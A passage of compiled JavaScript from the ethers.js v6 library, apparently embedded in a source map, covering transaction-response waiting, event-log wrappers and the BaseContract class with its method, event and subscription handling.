execution reverted\", \"CALL_EXCEPTION\", {\n action: \"sendTransaction\",\n data: null, reason: null, invocation: null, revert: null,\n transaction: {\n to: receipt.to,\n from: receipt.from,\n data: \"\" // @TODO: in v7, split out sendTransaction properties\n }, receipt\n });\n };\n const receipt = await this.provider.getTransactionReceipt(this.hash);\n if (confirms === 0) {\n return checkReceipt(receipt);\n }\n if (receipt) {\n if (confirms === 1 || (await receipt.confirmations()) >= confirms) {\n return checkReceipt(receipt);\n }\n }\n else {\n // Check for a replacement; throws if a replacement was found\n await checkReplacement();\n // Allow null only when the confirms is 0\n if (confirms === 0) {\n return null;\n }\n }\n const waiter = new Promise((resolve, reject) => {\n // List of things to cancel when we have a result (one way or the other)\n const cancellers = [];\n const cancel = () => { cancellers.forEach((c) => c()); };\n // On cancel, stop scanning for replacements\n cancellers.push(() => { stopScanning = true; });\n // Set up any timeout requested\n if (timeout > 0) {\n const timer = setTimeout(() => {\n cancel();\n reject(makeError(\"wait for transaction timeout\", \"TIMEOUT\"));\n }, timeout);\n cancellers.push(() => { clearTimeout(timer); });\n }\n const txListener = async (receipt) => {\n // Done; return it!\n if ((await receipt.confirmations()) >= confirms) {\n cancel();\n try {\n resolve(checkReceipt(receipt));\n }\n catch (error) {\n reject(error);\n }\n }\n };\n cancellers.push(() => { this.provider.off(this.hash, txListener); });\n this.provider.on(this.hash, txListener);\n // We support replacement detection; start checking\n if (startBlock >= 0) {\n const replaceListener = async () => {\n try {\n // Check for a replacement; this throws only if one is found\n await checkReplacement();\n }\n catch (error) {\n // We were replaced (with enough confirms); re-throw the error\n if (isError(error, \"TRANSACTION_REPLACED\")) {\n cancel();\n reject(error);\n return;\n }\n }\n // Rescheudle a check on the next block\n if (!stopScanning) {\n this.provider.once(\"block\", replaceListener);\n }\n };\n cancellers.push(() => { this.provider.off(\"block\", replaceListener); });\n this.provider.once(\"block\", replaceListener);\n }\n });\n return await waiter;\n }\n /**\n * Returns ``true`` if this transaction has been included.\n *\n * This is effective only as of the time the TransactionResponse\n * was instantiated. To get up-to-date information, use\n * [[getTransaction]].\n *\n * This provides a Type Guard that this transaction will have\n * non-null property values for properties that are null for\n * unmined transactions.\n */\n isMined() {\n return (this.blockHash != null);\n }\n /**\n * Returns true if the transaction is a legacy (i.e. ``type == 0``)\n * transaction.\n *\n * This provides a Type Guard that this transaction will have\n * the ``null``-ness for hardfork-specific properties set correctly.\n */\n isLegacy() {\n return (this.type === 0);\n }\n /**\n * Returns true if the transaction is a Berlin (i.e. ``type == 1``)\n * transaction. See [[link-eip-2070]].\n *\n * This provides a Type Guard that this transaction will have\n * the ``null``-ness for hardfork-specific properties set correctly.\n */\n isBerlin() {\n return (this.type === 1);\n }\n /**\n * Returns true if the transaction is a London (i.e. ``type == 2``)\n * transaction. See [[link-eip-1559]].\n *\n * This provides a Type Guard that this transaction will have\n * the ``null``-ness for hardfork-specific properties set correctly.\n */\n isLondon() {\n return (this.type === 2);\n }\n /**\n * Returns true if hte transaction is a Cancun (i.e. ``type == 3``)\n * transaction. See [[link-eip-4844]].\n */\n isCancun() {\n return (this.type === 3);\n }\n /**\n * Returns a filter which can be used to listen for orphan events\n * that evict this transaction.\n */\n removedEvent() {\n assert(this.isMined(), \"unmined transaction canot be orphaned\", \"UNSUPPORTED_OPERATION\", { operation: \"removeEvent()\" });\n return createRemovedTransactionFilter(this);\n }\n /**\n * Returns a filter which can be used to listen for orphan events\n * that re-order this event against %%other%%.\n */\n reorderedEvent(other) {\n assert(this.isMined(), \"unmined transaction canot be orphaned\", \"UNSUPPORTED_OPERATION\", { operation: \"removeEvent()\" });\n assert(!other || other.isMined(), \"unmined 'other' transaction canot be orphaned\", \"UNSUPPORTED_OPERATION\", { operation: \"removeEvent()\" });\n return createReorderedTransactionFilter(this, other);\n }\n /**\n * Returns a new TransactionResponse instance which has the ability to\n * detect (and throw an error) if the transaction is replaced, which\n * will begin scanning at %%startBlock%%.\n *\n * This should generally not be used by developers and is intended\n * primarily for internal use. Setting an incorrect %%startBlock%% can\n * have devastating performance consequences if used incorrectly.\n */\n replaceableTransaction(startBlock) {\n assertArgument(Number.isInteger(startBlock) && startBlock >= 0, \"invalid startBlock\", \"startBlock\", startBlock);\n const tx = new TransactionResponse(this, this.provider);\n tx.#startBlock = startBlock;\n return tx;\n }\n}\nfunction createOrphanedBlockFilter(block) {\n return { orphan: \"drop-block\", hash: block.hash, number: block.number };\n}\nfunction createReorderedTransactionFilter(tx, other) {\n return { orphan: \"reorder-transaction\", tx, other };\n}\nfunction createRemovedTransactionFilter(tx) {\n return { orphan: \"drop-transaction\", tx };\n}\nfunction createRemovedLogFilter(log) {\n return { orphan: \"drop-log\", log: {\n transactionHash: log.transactionHash,\n blockHash: log.blockHash,\n blockNumber: log.blockNumber,\n address: log.address,\n data: log.data,\n topics: Object.freeze(log.topics.slice()),\n index: log.index\n } };\n}\n//# sourceMappingURL=provider.js.map","// import from provider.ts instead of index.ts to prevent circular dep\n// from EtherscanProvider\nimport { Log, TransactionReceipt, TransactionResponse } from \"../providers/provider.js\";\nimport { defineProperties, EventPayload } from \"../utils/index.js\";\n/**\n * An **EventLog** contains additional properties parsed from the [[Log]].\n */\nexport class EventLog extends Log {\n /**\n * The Contract Interface.\n */\n interface;\n /**\n * The matching event.\n */\n fragment;\n /**\n * The parsed arguments passed to the event by ``emit``.\n */\n args;\n /**\n * @_ignore:\n */\n constructor(log, iface, fragment) {\n super(log, log.provider);\n const args = iface.decodeEventLog(fragment, log.data, log.topics);\n defineProperties(this, { args, fragment, interface: iface });\n }\n /**\n * The name of the event.\n */\n get eventName() { return this.fragment.name; }\n /**\n * The signature of the event.\n */\n get eventSignature() { return this.fragment.format(); }\n}\n/**\n * An **EventLog** contains additional properties parsed from the [[Log]].\n */\nexport class UndecodedEventLog extends Log {\n /**\n * The error encounted when trying to decode the log.\n */\n error;\n /**\n * @_ignore:\n */\n constructor(log, error) {\n super(log, log.provider);\n defineProperties(this, { error });\n }\n}\n/**\n * A **ContractTransactionReceipt** includes the parsed logs from a\n * [[TransactionReceipt]].\n */\nexport class ContractTransactionReceipt extends TransactionReceipt {\n #iface;\n /**\n * @_ignore:\n */\n constructor(iface, provider, tx) {\n super(tx, provider);\n this.#iface = iface;\n }\n /**\n * The parsed logs for any [[Log]] which has a matching event in the\n * Contract ABI.\n */\n get logs() {\n return super.logs.map((log) => {\n const fragment = log.topics.length ? this.#iface.getEvent(log.topics[0]) : null;\n if (fragment) {\n try {\n return new EventLog(log, this.#iface, fragment);\n }\n catch (error) {\n return new UndecodedEventLog(log, error);\n }\n }\n return log;\n });\n }\n}\n/**\n * A **ContractTransactionResponse** will return a\n * [[ContractTransactionReceipt]] when waited on.\n */\nexport class ContractTransactionResponse extends TransactionResponse {\n #iface;\n /**\n * @_ignore:\n */\n constructor(iface, provider, tx) {\n super(tx, provider);\n this.#iface = iface;\n }\n /**\n * Resolves once this transaction has been mined and has\n * %%confirms%% blocks including it (default: ``1``) with an\n * optional %%timeout%%.\n *\n * This can resolve to ``null`` only if %%confirms%% is ``0``\n * and the transaction has not been mined, otherwise this will\n * wait until enough confirmations have completed.\n */\n async wait(confirms, timeout) {\n const receipt = await super.wait(confirms, timeout);\n if (receipt == null) {\n return null;\n }\n return new ContractTransactionReceipt(this.#iface, this.provider, receipt);\n }\n}\n/**\n * A **ContractUnknownEventPayload** is included as the last parameter to\n * Contract Events when the event does not match any events in the ABI.\n */\nexport class ContractUnknownEventPayload extends EventPayload {\n /**\n * The log with no matching events.\n */\n log;\n /**\n * @_event:\n */\n constructor(contract, listener, filter, log) {\n super(contract, listener, filter);\n defineProperties(this, { log });\n }\n /**\n * Resolves to the block the event occured in.\n */\n async getBlock() {\n return await this.log.getBlock();\n }\n /**\n * Resolves to the transaction the event occured in.\n */\n async getTransaction() {\n return await this.log.getTransaction();\n }\n /**\n * Resolves to the transaction receipt the event occured in.\n */\n async getTransactionReceipt() {\n return await this.log.getTransactionReceipt();\n }\n}\n/**\n * A **ContractEventPayload** is included as the last parameter to\n * Contract Events when the event is known.\n */\nexport class ContractEventPayload extends ContractUnknownEventPayload {\n /**\n * @_ignore:\n */\n constructor(contract, listener, filter, fragment, _log) {\n super(contract, listener, filter, new EventLog(_log, contract.interface, fragment));\n const args = contract.interface.decodeEventLog(fragment, this.log.data, this.log.topics);\n defineProperties(this, { args, fragment });\n }\n /**\n * The event name.\n */\n get eventName() {\n return this.fragment.name;\n }\n /**\n * The event signature.\n */\n get eventSignature() {\n return this.fragment.format();\n }\n}\n//# sourceMappingURL=wrappers.js.map","import { Interface, Typed } from \"../abi/index.js\";\nimport { isAddressable, resolveAddress } from \"../address/index.js\";\n// import from provider.ts instead of index.ts to prevent circular dep\n// from EtherscanProvider\nimport { copyRequest, Log } from \"../providers/provider.js\";\nimport { defineProperties, getBigInt, isCallException, isHexString, resolveProperties, isError, makeError, assert, assertArgument } from \"../utils/index.js\";\nimport { ContractEventPayload, ContractUnknownEventPayload, ContractTransactionResponse, EventLog, UndecodedEventLog } from \"./wrappers.js\";\nconst BN_0 = BigInt(0);\nfunction canCall(value) {\n return (value && typeof (value.call) === \"function\");\n}\nfunction canEstimate(value) {\n return (value && typeof (value.estimateGas) === \"function\");\n}\nfunction canResolve(value) {\n return (value && typeof (value.resolveName) === \"function\");\n}\nfunction canSend(value) {\n return (value && typeof (value.sendTransaction) === \"function\");\n}\nfunction getResolver(value) {\n if (value != null) {\n if (canResolve(value)) {\n return value;\n }\n if (value.provider) {\n return value.provider;\n }\n }\n return undefined;\n}\nclass PreparedTopicFilter {\n #filter;\n fragment;\n constructor(contract, fragment, args) {\n defineProperties(this, { fragment });\n if (fragment.inputs.length < args.length) {\n throw new Error(\"too many arguments\");\n }\n // Recursively descend into args and resolve any addresses\n const runner = getRunner(contract.runner, \"resolveName\");\n const resolver = canResolve(runner) ? runner : null;\n this.#filter = (async function () {\n const resolvedArgs = await Promise.all(fragment.inputs.map((param, index) => {\n const arg = args[index];\n if (arg == null) {\n return null;\n }\n return param.walkAsync(args[index], (type, value) => {\n if (type === \"address\") {\n if (Array.isArray(value)) {\n return Promise.all(value.map((v) => resolveAddress(v, resolver)));\n }\n return resolveAddress(value, resolver);\n }\n return value;\n });\n }));\n return contract.interface.encodeFilterTopics(fragment, resolvedArgs);\n })();\n }\n getTopicFilter() {\n return this.#filter;\n }\n}\n// A = Arguments passed in as a tuple\n// R = The result type of the call (i.e. if only one return type,\n// the qualified type, otherwise Result)\n// D = The type the default call will return (i.e. R for view/pure,\n// TransactionResponse otherwise)\n//export interface ContractMethod = Array, R = any, D extends R | ContractTransactionResponse = ContractTransactionResponse> {\nfunction getRunner(value, feature) {\n if (value == null) {\n return null;\n }\n if (typeof (value[feature]) === \"function\") {\n return value;\n }\n if (value.provider && typeof (value.provider[feature]) === \"function\") {\n return value.provider;\n }\n return null;\n}\nfunction getProvider(value) {\n if (value == null) {\n return null;\n }\n return value.provider || null;\n}\n/**\n * @_ignore:\n */\nexport async function copyOverrides(arg, allowed) {\n // Make sure the overrides passed in are a valid overrides object\n const _overrides = Typed.dereference(arg, \"overrides\");\n assertArgument(typeof (_overrides) === \"object\", \"invalid overrides parameter\", \"overrides\", arg);\n // Create a shallow copy (we'll deep-ify anything needed during normalizing)\n const overrides = copyRequest(_overrides);\n assertArgument(overrides.to == null || (allowed || []).indexOf(\"to\") >= 0, \"cannot override to\", \"overrides.to\", overrides.to);\n assertArgument(overrides.data == null || (allowed || []).indexOf(\"data\") >= 0, \"cannot override data\", \"overrides.data\", overrides.data);\n // Resolve any from\n if (overrides.from) {\n overrides.from = overrides.from;\n }\n return overrides;\n}\n/**\n * @_ignore:\n */\nexport async function resolveArgs(_runner, inputs, args) {\n // Recursively descend into args and resolve any addresses\n const runner = getRunner(_runner, \"resolveName\");\n const resolver = canResolve(runner) ? runner : null;\n return await Promise.all(inputs.map((param, index) => {\n return param.walkAsync(args[index], (type, value) => {\n value = Typed.dereference(value, type);\n if (type === \"address\") {\n return resolveAddress(value, resolver);\n }\n return value;\n });\n }));\n}\nfunction buildWrappedFallback(contract) {\n const populateTransaction = async function (overrides) {\n // If an overrides was passed in, copy it and normalize the values\n const tx = (await copyOverrides(overrides, [\"data\"]));\n tx.to = await contract.getAddress();\n if (tx.from) {\n tx.from = await resolveAddress(tx.from, getResolver(contract.runner));\n }\n const iface = contract.interface;\n const noValue = (getBigInt((tx.value || BN_0), \"overrides.value\") === BN_0);\n const noData = ((tx.data || \"0x\") === \"0x\");\n if (iface.fallback && !iface.fallback.payable && iface.receive && !noData && !noValue) {\n assertArgument(false, \"cannot send data to receive or send value to non-payable fallback\", \"overrides\", overrides);\n }\n assertArgument(iface.fallback || noData, \"cannot send data to receive-only contract\", \"overrides.data\", tx.data);\n // Only allow payable contracts to set non-zero value\n const payable = iface.receive || (iface.fallback && iface.fallback.payable);\n assertArgument(payable || noValue, \"cannot send value to non-payable fallback\", \"overrides.value\", tx.value);\n // Only allow fallback contracts to set non-empty data\n assertArgument(iface.fallback || noData, \"cannot send data to receive-only contract\", \"overrides.data\", tx.data);\n return tx;\n };\n const staticCall = async function (overrides) {\n const runner = getRunner(contract.runner, \"call\");\n assert(canCall(runner), \"contract runner does not support calling\", \"UNSUPPORTED_OPERATION\", { operation: \"call\" });\n const tx = await populateTransaction(overrides);\n try {\n return await runner.call(tx);\n }\n catch (error) {\n if (isCallException(error) && error.data) {\n throw contract.interface.makeError(error.data, tx);\n }\n throw error;\n }\n };\n const send = async function (overrides) {\n const runner = contract.runner;\n assert(canSend(runner), \"contract runner does not support sending transactions\", \"UNSUPPORTED_OPERATION\", { operation: \"sendTransaction\" });\n const tx = await runner.sendTransaction(await populateTransaction(overrides));\n const provider = getProvider(contract.runner);\n // @TODO: the provider can be null; make a custom dummy provider that will throw a\n // meaningful error\n return new ContractTransactionResponse(contract.interface, provider, tx);\n };\n const estimateGas = async function (overrides) {\n const runner = getRunner(contract.runner, \"estimateGas\");\n assert(canEstimate(runner), \"contract runner does not support gas estimation\", \"UNSUPPORTED_OPERATION\", { operation: \"estimateGas\" });\n return await runner.estimateGas(await populateTransaction(overrides));\n };\n const method = async (overrides) => {\n return await send(overrides);\n };\n defineProperties(method, {\n _contract: contract,\n estimateGas,\n populateTransaction,\n send, staticCall\n });\n return method;\n}\nfunction buildWrappedMethod(contract, key) {\n const getFragment = function (...args) {\n const fragment = contract.interface.getFunction(key, args);\n assert(fragment, \"no matching fragment\", \"UNSUPPORTED_OPERATION\", {\n operation: \"fragment\",\n info: { key, args }\n });\n return fragment;\n };\n const populateTransaction = async function (...args) {\n const fragment = getFragment(...args);\n // If an overrides was passed in, copy it and normalize the values\n let overrides = {};\n if (fragment.inputs.length + 1 === args.length) {\n overrides = await copyOverrides(args.pop());\n if (overrides.from) {\n overrides.from = await resolveAddress(overrides.from, getResolver(contract.runner));\n }\n }\n if (fragment.inputs.length !== args.length) {\n throw new Error(\"internal error: fragment inputs doesn't match arguments; should not happen\");\n }\n const resolvedArgs = await resolveArgs(contract.runner, fragment.inputs, args);\n return Object.assign({}, overrides, await resolveProperties({\n to: contract.getAddress(),\n data: contract.interface.encodeFunctionData(fragment, resolvedArgs)\n }));\n };\n const staticCall = async function (...args) {\n const result = await staticCallResult(...args);\n if (result.length === 1) {\n return result[0];\n }\n return result;\n };\n const send = async function (...args) {\n const runner = contract.runner;\n assert(canSend(runner), \"contract runner does not support sending transactions\", \"UNSUPPORTED_OPERATION\", { operation: \"sendTransaction\" });\n const tx = await runner.sendTransaction(await populateTransaction(...args));\n const provider = getProvider(contract.runner);\n // @TODO: the provider can be null; make a custom dummy provider that will throw a\n // meaningful error\n return new ContractTransactionResponse(contract.interface, provider, tx);\n };\n const estimateGas = async function (...args) {\n const runner = getRunner(contract.runner, \"estimateGas\");\n assert(canEstimate(runner), \"contract runner does not support gas estimation\", \"UNSUPPORTED_OPERATION\", { operation: \"estimateGas\" });\n return await runner.estimateGas(await populateTransaction(...args));\n };\n const staticCallResult = async function (...args) {\n const runner = getRunner(contract.runner, \"call\");\n assert(canCall(runner), \"contract runner does not support calling\", \"UNSUPPORTED_OPERATION\", { operation: \"call\" });\n const tx = await populateTransaction(...args);\n let result = \"0x\";\n try {\n result = await runner.call(tx);\n }\n catch (error) {\n if (isCallException(error) && error.data) {\n throw contract.interface.makeError(error.data, tx);\n }\n throw error;\n }\n const fragment = getFragment(...args);\n return contract.interface.decodeFunctionResult(fragment, result);\n };\n const method = async (...args) => {\n const fragment = getFragment(...args);\n if (fragment.constant) {\n return await staticCall(...args);\n }\n return await send(...args);\n };\n defineProperties(method, {\n name: contract.interface.getFunctionName(key),\n _contract: contract, _key: key,\n getFragment,\n estimateGas,\n populateTransaction,\n send, staticCall, staticCallResult,\n });\n // Only works on non-ambiguous keys (refined fragment is always non-ambiguous)\n Object.defineProperty(method, \"fragment\", {\n configurable: false,\n enumerable: true,\n get: () => {\n const fragment = contract.interface.getFunction(key);\n assert(fragment, \"no matching fragment\", \"UNSUPPORTED_OPERATION\", {\n operation: \"fragment\",\n info: { key }\n });\n return fragment;\n }\n });\n return method;\n}\nfunction buildWrappedEvent(contract, key) {\n const getFragment = function (...args) {\n const fragment = contract.interface.getEvent(key, args);\n assert(fragment, \"no matching fragment\", \"UNSUPPORTED_OPERATION\", {\n operation: \"fragment\",\n info: { key, args }\n });\n return fragment;\n };\n const method = function (...args) {\n return new PreparedTopicFilter(contract, getFragment(...args), args);\n };\n defineProperties(method, {\n name: contract.interface.getEventName(key),\n _contract: contract, _key: key,\n getFragment\n });\n // Only works on non-ambiguous keys (refined fragment is always non-ambiguous)\n Object.defineProperty(method, \"fragment\", {\n configurable: false,\n enumerable: true,\n get: () => {\n const fragment = contract.interface.getEvent(key);\n assert(fragment, \"no matching fragment\", \"UNSUPPORTED_OPERATION\", {\n operation: \"fragment\",\n info: { key }\n });\n return fragment;\n }\n });\n return method;\n}\n// The combination of TypeScrype, Private Fields and Proxies makes\n// the world go boom; so we hide variables with some trickery keeping\n// a symbol attached to each BaseContract which its sub-class (even\n// via a Proxy) can reach and use to look up its internal values.\nconst internal = Symbol.for(\"_ethersInternal_contract\");\nconst internalValues = new WeakMap();\nfunction setInternal(contract, values) {\n internalValues.set(contract[internal], values);\n}\nfunction getInternal(contract) {\n return internalValues.get(contract[internal]);\n}\nfunction isDeferred(value) {\n return (value && typeof (value) === \"object\" && (\"getTopicFilter\" in value) &&\n (typeof (value.getTopicFilter) === \"function\") && value.fragment);\n}\nasync function getSubInfo(contract, event) {\n let topics;\n let fragment = null;\n // Convert named events to topicHash and get the fragment for\n // events which need deconstructing.\n if (Array.isArray(event)) {\n const topicHashify = function (name) {\n if (isHexString(name, 32)) {\n return name;\n }\n const fragment = contract.interface.getEvent(name);\n assertArgument(fragment, \"unknown fragment\", \"name\", name);\n return fragment.topicHash;\n };\n // Array of Topics and Names; e.g. `[ \"0x1234...89ab\", \"Transfer(address)\" ]`\n topics = event.map((e) => {\n if (e == null) {\n return null;\n }\n if (Array.isArray(e)) {\n return e.map(topicHashify);\n }\n return topicHashify(e);\n });\n }\n else if (event === \"*\") {\n topics = [null];\n }\n else if (typeof (event) === \"string\") {\n if (isHexString(event, 32)) {\n // Topic Hash\n topics = [event];\n }\n else {\n // Name or Signature; e.g. `\"Transfer\", `\"Transfer(address)\"`\n fragment = contract.interface.getEvent(event);\n assertArgument(fragment, \"unknown fragment\", \"event\", event);\n topics = [fragment.topicHash];\n }\n }\n else if (isDeferred(event)) {\n // Deferred Topic Filter; e.g. `contract.filter.Transfer(from)`\n topics = await event.getTopicFilter();\n }\n else if (\"fragment\" in event) {\n // ContractEvent; e.g. `contract.filter.Transfer`\n fragment = event.fragment;\n topics = [fragment.topicHash];\n }\n else {\n assertArgument(false, \"unknown event name\", \"event\", event);\n }\n // Normalize topics and sort TopicSets\n topics = topics.map((t) => {\n if (t == null) {\n return null;\n }\n if (Array.isArray(t)) {\n const items = Array.from(new Set(t.map((t) => t.toLowerCase())).values());\n if (items.length === 1) {\n return items[0];\n }\n items.sort();\n return items;\n }\n return t.toLowerCase();\n });\n const tag = topics.map((t) => {\n if (t == null) {\n return \"null\";\n }\n if (Array.isArray(t)) {\n return t.join(\"|\");\n }\n return t;\n }).join(\"&\");\n return { fragment, tag, topics };\n}\nasync function hasSub(contract, event) {\n const { subs } = getInternal(contract);\n return subs.get((await getSubInfo(contract, event)).tag) || null;\n}\nasync function getSub(contract, operation, event) {\n // Make sure our runner can actually subscribe to events\n const provider = getProvider(contract.runner);\n assert(provider, \"contract runner does not support subscribing\", \"UNSUPPORTED_OPERATION\", { operation });\n const { fragment, tag, topics } = await getSubInfo(contract, event);\n const { addr, subs } = getInternal(contract);\n let sub = subs.get(tag);\n if (!sub) {\n const address = (addr ? addr : contract);\n const filter = { address, topics };\n const listener = (log) => {\n let foundFragment = fragment;\n if (foundFragment == null) {\n try {\n foundFragment = contract.interface.getEvent(log.topics[0]);\n }\n catch (error) { }\n }\n // If fragment is null, we do not deconstruct the args to emit\n if (foundFragment) {\n const _foundFragment = foundFragment;\n const args = fragment ? contract.interface.decodeEventLog(fragment, log.data, log.topics) : [];\n emit(contract, event, args, (listener) => {\n return new ContractEventPayload(contract, listener, event, _foundFragment, log);\n });\n }\n else {\n emit(contract, event, [], (listener) => {\n return new ContractUnknownEventPayload(contract, listener, event, log);\n });\n }\n };\n let starting = [];\n const start = () => {\n if (starting.length) {\n return;\n }\n starting.push(provider.on(filter, listener));\n };\n const stop = async () => {\n if (starting.length == 0) {\n return;\n }\n let started = starting;\n starting = [];\n await Promise.all(started);\n provider.off(filter, listener);\n };\n sub = { tag, listeners: [], start, stop };\n subs.set(tag, sub);\n }\n return sub;\n}\n// We use this to ensure one emit resolves before firing the next to\n// ensure correct ordering (note this cannot throw and just adds the\n// notice to the event queu using setTimeout).\nlet lastEmit = Promise.resolve();\nasync function _emit(contract, event, args, payloadFunc) {\n await lastEmit;\n const sub = await hasSub(contract, event);\n if (!sub) {\n return false;\n }\n const count = sub.listeners.length;\n sub.listeners = sub.listeners.filter(({ listener, once }) => {\n const passArgs = Array.from(args);\n if (payloadFunc) {\n passArgs.push(payloadFunc(once ? null : listener));\n }\n try {\n listener.call(contract, ...passArgs);\n }\n catch (error) { }\n return !once;\n });\n if (sub.listeners.length === 0) {\n sub.stop();\n getInternal(contract).subs.delete(sub.tag);\n }\n return (count > 0);\n}\nasync function emit(contract, event, args, payloadFunc) {\n try {\n await lastEmit;\n }\n catch (error) { }\n const resultPromise = _emit(contract, event, args, payloadFunc);\n lastEmit = resultPromise;\n return await resultPromise;\n}\nconst passProperties = [\"then\"];\nexport class BaseContract {\n /**\n * The target to connect to.\n *\n * This can be an address, ENS name or any [[Addressable]], such as\n * another contract. To get the resovled address, use the ``getAddress``\n * method.\n */\n target;\n /**\n * The contract Interface.\n */\n interface;\n /**\n * The connected runner. This is generally a [[Provider]] or a\n * [[Signer]], which dictates what operations are supported.\n *\n * For example, a **Contract** connected to a [[Provider]] may\n * only execute read-only operations.\n */\n runner;\n /**\n * All the Events available on this contract.\n */\n filters;\n /**\n * @_ignore:\n */\n [internal];\n /**\n * The fallback or receive function if any.\n */\n fallback;\n /**\n * Creates a new contract connected to %%target%% with the %%abi%% and\n * optionally connected to a %%runner%% to perform operations on behalf\n * of.\n */\n constructor(target, abi, runner, _deployTx) {\n assertArgument(typeof (target) === \"string\" || isAddressable(target), \"invalid value for Contract target\", \"target\", target);\n if (runner == null) {\n runner = null;\n }\n const iface = Interface.from(abi);\n defineProperties(this, { target, runner, interface: iface });\n Object.defineProperty(this, internal, { value: {} });\n let addrPromise;\n let addr = null;\n let deployTx = null;\n if (_deployTx) {\n const provider = getProvider(runner);\n // @TODO: the provider can be null; make a custom dummy provider that will throw a\n // meaningful error\n deployTx = new ContractTransactionResponse(this.interface, provider, _deployTx);\n }\n let subs = new Map();\n // Resolve the target as the address\n if (typeof (target) === \"string\") {\n if (isHexString(target)) {\n addr = target;\n addrPromise = Promise.resolve(target);\n }\n else {\n const resolver = getRunner(runner, \"resolveName\");\n if (!canResolve(resolver)) {\n throw makeError(\"contract runner does not support name resolution\", \"UNSUPPORTED_OPERATION\", {\n operation: \"resolveName\"\n });\n }\n addrPromise = resolver.resolveName(target).then((addr) => {\n if (addr == null) {\n throw makeError(\"an ENS name used for a contract target must be correctly configured\", \"UNCONFIGURED_NAME\", {\n value: target\n });\n }\n getInternal(this).addr = addr;\n return addr;\n });\n }\n }\n else {\n addrPromise = target.getAddress().then((addr) => {\n if (addr == null) {\n throw new Error(\"TODO\");\n }\n getInternal(this).addr = addr;\n return addr;\n });\n }\n // Set our private values\n setInternal(this, { addrPromise, addr, deployTx, subs });\n // Add the event filters\n const filters = new Proxy({}, {\n get: (target, prop, receiver) => {\n // Pass important checks (like `then` for Promise) through\n if (typeof (prop) === \"symbol\" || passProperties.indexOf(prop) >= 0) {\n return Reflect.get(target, prop, receiver);\n }\n try {\n return this.getEvent(prop);\n }\n catch (error) {\n if (!isError(error, \"INVALID_ARGUMENT\") || error.argument !== \"key\") {\n throw error;\n }\n }\n return undefined;\n },\n has: (target, prop) => {\n // Pass important checks (like `then` for Promise) through\n if (passProperties.indexOf(prop) >= 0) {\n return Reflect.has(target, prop);\n }\n return Reflect.has(target, prop) || this.interface.hasEvent(String(prop));\n }\n });\n defineProperties(this, { filters });\n defineProperties(this, {\n fallback: ((iface.receive || iface.fallback) ? (buildWrappedFallback(this)) : null)\n });\n // Return a Proxy that will respond to functions\n return new Proxy(this, {\n get: (target, prop, receiver) => {\n if (typeof (prop) === \"symbol\" || prop in target || passProperties.indexOf(prop) >= 0) {\n return Reflect.get(target, prop, receiver);\n }\n // Undefined properties should return undefined\n try {\n return target.getFunction(prop);\n }\n catch (error) {\n if (!isError(error, \"INVALID_ARGUMENT\") || error.argument !== \"key\") {\n throw error;\n }\n }\n return undefined;\n },\n has: (target, prop) => {\n if (typeof (prop) === \"symbol\" || prop in target || passProperties.indexOf(prop) >= 0) {\n return Reflect.has(target, prop);\n }\n return target.interface.hasFunction(prop);\n }\n });\n }\n /**\n * Return a new Contract instance with the same target and ABI, but\n * a different %%runner%%.\n */\n connect(runner) {\n return new BaseContract(this.target, this.interface, runner);\n }\n /**\n * Return a new Contract instance with the same ABI and runner, but\n * a different %%target%%.\n */\n attach(target) {\n return new BaseContract(target, this.interface, this.runner);\n }\n /**\n * Return the resolved address of this Contract.\n */\n async getAddress() { return await getInternal(this).addrPromise; }\n /**\n * Return the deployed bytecode or null if no bytecode is found.\n */\n async getDeployedCode() {\n const provider = getProvider(this.runner);\n assert(provider, \"runner does not support .provider\", \"UNSUPPORTED_OPERATION\", { operation: \"getDeployedCode\" });\n const code = await provider.getCode(await this.getAddress());\n if (code === \"0x\") {\n return null;\n }\n return code;\n }\n /**\n * Resolve to this Contract once the bytecode has been deployed, or\n * resolve immediately if already deployed.\n */\n async waitForDeployment() {\n // We have the deployement transaction; just use that (throws if deployement fails)\n const deployTx = this.deploymentTransaction();\n if (deployTx) {\n await deployTx.wait();\n return this;\n }\n // Check for code\n const code = await this.getDeployedCode();\n if (code != null) {\n return this;\n }\n // Make sure we can subscribe to a provider event\n const provider = getProvider(this.runner);\n assert(provider != null, \"contract runner does not support .provider\", \"UNSUPPORTED_OPERATION\", { operation: \"waitForDeployment\" });\n return new Promise((resolve, reject) => {\n const checkCode = async () => {\n try {\n const code = await this.getDeployedCode();\n if (code != null) {\n return resolve(this);\n }\n provider.once(\"block\", checkCode);\n }\n catch (error) {\n reject(error);\n }\n };\n checkCode();\n });\n }\n /**\n * Return the transaction used to deploy this contract.\n *\n * This is only available if this instance was returned from a\n * [[ContractFactory]].\n */\n deploymentTransaction() {\n return getInternal(this).deployTx;\n }\n /**\n * Return the function for a given name. This is useful when a contract\n * method name conflicts with a JavaScript name such as ``prototype`` or\n * when using a Contract programatically.\n */\n getFunction(key) {\n if (typeof (key) !== \"string\") {\n key = key.format();\n }\n const func = buildWrappedMethod(this, key);\n return func;\n }\n /**\n * Return the event for a given name. This is useful when a contract\n * event name conflicts with a JavaScript name such as ``prototype`` or\n * when using a Contract programatically.\n */\n getEvent(key) {\n if (typeof (key) !== \"string\") {\n key = key.format();\n }\n return buildWrappedEvent(this, key);\n }\n /**\n * @_ignore:\n */\n async queryTransaction(hash) {\n throw new Error(\"@TODO\");\n }\n /*\n // @TODO: this is a non-backwards compatible change, but will be added\n // in v7 and in a potential SmartContract class in an upcoming\n // v6 release\n async getTransactionReceipt(hash: string): Promise {\n const provider = getProvider(this.runner);\n assert(provider, \"contract runner does not have a provider\",\n \"UNSUPPORTED_OPERATION\", { operation: \"queryTransaction\" });\n\n const receipt = await provider.getTransactionReceipt(hash);\n if (receipt == null) { return null; }\n\n return new ContractTransactionReceipt(this.interface, provider, receipt);\n }\n */\n /**\n * Provide historic access to event data for %%event%% in the range\n * %%fromBlock%% (default: ``0``) to %%toBlock%% (default: ``\"latest\"``)\n * inclusive.\n */\n async queryFilter(event, fromBlock, toBlock) {\n if (fromBlock == null) {\n fromBlock = 0;\n }\n if (toBlock == null) {\n toBlock = \"latest\";\n }\n const { addr, addrPromise } = getInternal(this);\n const address = (addr ? addr : (await addrPromise));\n const { fragment, topics } = await getSubInfo(this, event);\n const filter = { address, topics, fromBlock, toBlock };\n const provider = getProvider(this.runner);\n assert(provider, \"contract runner does not have a provider\", \"UNSUPPORTED_OPERATION\", { operation: \"queryFilter\" });\n return (await provider.getLogs(filter)).map((log) => {\n let foundFragment = fragment;\n if (foundFragment == null) {\n try {\n foundFragment = this.interface.getEvent(log.topics[0]);\n }\n catch (error) { }\n }\n if (foundFragment) {\n try {\n return new EventLog(log, 